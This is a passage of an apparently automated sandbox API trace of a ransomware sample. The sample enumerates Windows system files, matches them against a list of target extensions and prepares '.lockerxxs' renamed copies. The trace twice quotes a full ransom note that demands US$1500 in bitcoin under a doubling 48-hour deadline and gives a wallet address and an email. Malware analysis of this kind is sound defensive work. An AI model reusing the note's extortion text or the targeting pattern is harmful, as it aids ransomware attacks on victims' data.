(pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.php") returned 0 [0165.593] lstrlenA (lpString="*.php") returned 5 [0165.593] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", pszSpec="*.cs") returned 1 [0165.593] lstrlenA (lpString="*.cs") returned 4 [0165.593] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs" [0165.593] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs" [0165.593] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs." [0165.594] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs.lockerxxs" [0165.594] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\navigationbar.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.594] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf5b66f3, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf5b66f3, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90231f61, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PasswordValueTextBox.cs", cAlternateFileName="PASSWO~1.CS")) returned 1 [0165.594] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.594] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PasswordValueTextBox.cs") returned -1 [0165.594] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PasswordValueTextBox.cs") returned -1 [0165.594] lstrcmpiA (lpString1="", lpString2="PasswordValueTextBox.cs") returned -1 [0165.594] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\NavigationBar.cs") returned="NavigationBar.cs" [0165.594] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" [0165.594] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="" [0165.595] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" [0165.595] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt")) returned 0xffffffff [0165.595] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.595] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.595] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.595] CloseHandle (hObject=0xffffffff) returned 0 [0165.596] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="PasswordValueTextBox.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs" [0165.596] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.ems") returned 0 [0165.596] lstrlenA (lpString="*.ems") returned 5 [0165.596] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.db") returned 0 [0165.596] lstrlenA (lpString="*.db") returned 4 [0165.596] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.dbf") returned 0 [0165.597] lstrlenA (lpString="*.dbf") returned 5 [0165.597] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.myox") returned 0 [0165.597] lstrlenA (lpString="*.myox") returned 6 [0165.597] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.myo") returned 0 [0165.597] lstrlenA (lpString="*.myo") returned 5 [0165.597] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.qbw") returned 0 [0165.597] lstrlenA (lpString="*.qbw") returned 5 [0165.597] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.qbb") returned 0 [0165.597] lstrlenA (lpString="*.qbb") returned 5 [0165.597] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.qbm") returned 0 [0165.597] lstrlenA (lpString="*.qbm") returned 5 [0165.597] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.qbo") returned 0 [0165.597] lstrlenA (lpString="*.qbo") returned 5 [0165.598] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.qbx") returned 0 [0165.598] lstrlenA (lpString="*.qbx") returned 5 [0165.598] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.qba") returned 0 [0165.598] lstrlenA (lpString="*.qba") returned 5 [0165.598] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.qby") returned 0 [0165.598] lstrlenA (lpString="*.qby") returned 5 [0165.598] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.qbj") returned 0 [0165.598] lstrlenA (lpString="*.qbj") returned 5 [0165.598] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.ofx") returned 0 [0165.598] lstrlenA (lpString="*.ofx") returned 5 [0165.598] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.qif") returned 0 [0165.598] lstrlenA (lpString="*.qif") returned 5 [0165.599] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.mye") returned 0 [0165.599] lstrlenA (lpString="*.mye") returned 5 [0165.599] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.mbox") returned 0 [0165.599] lstrlenA (lpString="*.mbox") returned 6 [0165.599] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.eml") returned 0 [0165.599] lstrlenA (lpString="*.eml") returned 5 [0165.599] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.pst") returned 0 [0165.599] lstrlenA (lpString="*.pst") returned 5 [0165.599] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.ost") returned 0 [0165.599] lstrlenA (lpString="*.ost") returned 5 [0165.599] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.idx") returned 0 [0165.599] lstrlenA (lpString="*.idx") returned 5 [0165.599] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.dbx") returned 0 [0165.600] lstrlenA (lpString="*.dbx") returned 5 [0165.600] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.sql") returned 0 [0165.600] lstrlenA (lpString="*.sql") returned 5 [0165.600] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.mdb") returned 0 [0165.600] lstrlenA (lpString="*.mdb") returned 5 [0165.600] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.fdb") returned 0 [0165.600] lstrlenA (lpString="*.fdb") returned 5 [0165.600] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.wab") returned 0 [0165.600] lstrlenA (lpString="*.wab") returned 5 [0165.600] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.dat") returned 0 [0165.600] lstrlenA (lpString="*.dat") returned 5 [0165.600] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.txt") returned 0 [0165.600] lstrlenA (lpString="*.txt") returned 5 [0165.600] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.jpeg") returned 0 [0165.601] lstrlenA (lpString="*.jpeg") returned 6 [0165.601] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.jpg") returned 0 [0165.601] lstrlenA (lpString="*.jpg") returned 5 [0165.601] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.png") returned 0 [0165.601] lstrlenA (lpString="*.png") returned 5 [0165.601] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.php") returned 0 [0165.601] lstrlenA (lpString="*.php") returned 5 [0165.601] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", pszSpec="*.cs") returned 1 [0165.601] lstrlenA (lpString="*.cs") returned 4 [0165.601] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs" [0165.601] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs" [0165.602] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs." [0165.602] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs.lockerxxs" [0165.602] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\passwordvaluetextbox.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.602] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf6029ad, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf6029ad, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x902580bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1371, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProvidersPage.cs", cAlternateFileName="PROVID~1.CS")) returned 1 [0165.602] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.602] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ProvidersPage.cs") returned -1 [0165.602] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ProvidersPage.cs") returned -1 [0165.602] lstrcmpiA (lpString1="", lpString2="ProvidersPage.cs") returned -1 [0165.602] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\PasswordValueTextBox.cs") returned="PasswordValueTextBox.cs" [0165.602] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" [0165.603] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\") returned="" [0165.603] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" [0165.603] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt")) returned 0xffffffff [0165.603] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.603] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.603] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.603] CloseHandle (hObject=0xffffffff) returned 0 [0165.603] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\", lpString2="ProvidersPage.cs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs" [0165.603] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs", pszSpec="*.ems") returned 0 [0165.604] lstrlenA (lpString="*.ems") returned 5 [0165.604] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs", pszSpec="*.db") returned 0 [0165.604] lstrlenA (lpString="*.db") returned 4 [0165.604] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs", pszSpec="*.dbf") returned 0 [0165.604] lstrlenA (lpString="*.dbf") returned 5 [0165.604] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs", pszSpec="*.myox") returned 0 [0165.604] lstrlenA (lpString="*.myox") returned 6 [0165.604] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs", pszSpec="*.myo") returned 0 [0165.604] lstrlenA (lpString="*.myo") returned 5 [0165.604] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs", pszSpec="*.qbw") returned 0 [0165.604] lstrlenA (lpString="*.qbw") returned 5 [0165.604] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs", pszSpec="*.qbb") returned 0 [0165.604] lstrlenA (lpString="*.qbb") returned 5 [0165.604] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_code_b03f5f7f11d50a3a_6.1.7600.16385_none_09906177615c2112\\ProvidersPage.cs", pszSpec="*.qbm") returned 0 [0165.604] lstrlenA (lpString="*.qbm") returned 5 [0165.604] PathMatchSpecA 